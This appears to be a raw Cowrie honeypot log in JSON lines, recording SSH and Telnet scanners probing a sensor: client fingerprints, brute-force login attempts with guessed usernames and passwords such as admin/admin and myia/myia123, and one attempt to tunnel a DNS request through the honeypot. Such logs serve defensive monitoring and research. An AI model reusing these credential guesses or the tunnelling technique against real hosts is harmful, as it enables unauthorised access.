{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:04.135486Z","src_ip":"87.251.64.176","session":"c1da690ab771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:04.232650Z","src_ip":"87.251.64.176","session":"c1da690ab771","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:04.524212Z","src_ip":"87.251.64.176","session":"c1da690ab771","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:04.626971Z","session":"c1da690ab771","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:04.725498Z","src_ip":"87.251.64.176","session":"c1da690ab771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:04.826248Z","src_ip":"87.251.64.176","session":"c1da690ab771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.152","src_port":29630,"dst_ip":"159.203.135.109","dst_port":22,"session":"2540232c64d0","protocol":"ssh","message":"New connection: 65.49.1.152:29630 (159.203.135.109:22) [session: 2540232c64d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:16.202413Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x92\\xb1k]\\x9f\u007f9v\\x9bA|\\xbczi\\x98\u0016\\xdd\\xd1\\xf5\\xb7'\\x9b\\xac\\xb5?\\x9e-\u0014x\u0016\\xa4G\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x92\\xb1k]\\x9f\u007f9v\\x9bA|\\xbczi\\x98\u0016\\xdd\\xd1\\xf5\\xb7'\\x9b\\xac\\xb5?\\x9e-\u0014x\u0016\\xa4G\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:16.209933Z","src_ip":"65.49.1.152","session":"2540232c64d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:16.215533Z","src_ip":"65.49.1.152","session":"2540232c64d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46240,"dst_ip":"10.17.0.5","dst_port":22,"session":"4125e5e61b3d","protocol":"ssh","message":"New connection: 194.59.206.2:46240 (10.17.0.5:22) [session: 4125e5e61b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:13:23.801719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:13:23.806854Z","src_ip":"194.59.206.2","session":"4125e5e61b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:13:23.897547Z","src_ip":"194.59.206.2","session":"4125e5e61b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:13:23.993890Z","src_ip":"194.59.206.2","session":"4125e5e61b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":11928,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef599cd07b00","protocol":"ssh","message":"New connection: 2.57.121.112:11928 (159.203.135.109:22) [session: ef599cd07b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:15.003691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:15.013641Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:15.115517Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dlanod","message":"login attempt [admin/dlanod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:15.593599Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"djkrjlfd","message":"login attempt [admin/djkrjlfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:16.698592Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"djghjc","message":"login attempt [admin/djghjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:17.803891Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"djembe","message":"login attempt [admin/djembe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:18.908431Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dirtyd","message":"login attempt [admin/dirtyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:20.013386Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":55994,"dst_ip":"10.17.0.5","dst_port":23,"session":"51edc07046c1","protocol":"telnet","message":"New connection: 142.93.69.27:55994 (10.17.0.5:23) [session: 51edc07046c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:20.325355Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:14:21.119096Z","src_ip":"2.57.121.112","session":"ef599cd07b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.07536053657532,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:00.400585Z","src_ip":"142.93.69.27","session":"51edc07046c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":15149,"dst_ip":"159.203.135.109","dst_port":22,"session":"50185ca80897","protocol":"ssh","message":"New connection: 213.209.159.56:15149 (159.203.135.109:22) [session: 50185ca80897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:21.488711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:21.493448Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:21.580362Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia","message":"login attempt [myia/myia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:21.979635Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia1","message":"login attempt [myia/myia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:23.065197Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia123","message":"login attempt [myia/myia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:24.150348Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":8947,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b8b94ee83e","protocol":"ssh","message":"New connection: 2.57.121.25:8947 (159.203.135.109:22) [session: 51b8b94ee83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:25.204303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:25.210904Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia1234","message":"login attempt [myia/myia1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:25.236445Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:25.315028Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fenton","message":"login attempt [user/fenton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:25.803010Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia12345","message":"login attempt [myia/myia12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:26.321671Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fenix","message":"login attempt [user/fenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:26.909976Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:27.409199Z","src_ip":"213.209.159.56","session":"50185ca80897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"felony","message":"login attempt [user/felony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:28.017022Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"favorite8","message":"login attempt [user/favorite8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:29.124557Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"favorite7","message":"login attempt [user/favorite7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:30.231576Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:15:31.340451Z","src_ip":"2.57.121.25","session":"51b8b94ee83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":58008,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ead35ad86fa","protocol":"telnet","message":"New connection: 142.93.69.27:58008 (10.17.0.5:23) [session: 8ead35ad86fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:16:57.550608Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":58144,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeda59815303","protocol":"telnet","message":"New connection: 142.93.69.27:58144 (10.17.0.5:23) [session: aeda59815303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:08.489297Z"}
{"eventid":"cowrie.session.closed","duration":41.55521774291992,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:39.105703Z","src_ip":"142.93.69.27","session":"8ead35ad86fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.97381281852722,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:53.462991Z","src_ip":"142.93.69.27","session":"aeda59815303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.209.225","src_port":7578,"dst_ip":"10.17.0.5","dst_port":22,"session":"3061345a51e2","protocol":"ssh","message":"New connection: 62.210.209.225:7578 (10.17.0.5:22) [session: 3061345a51e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.161307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.169823Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.252314Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
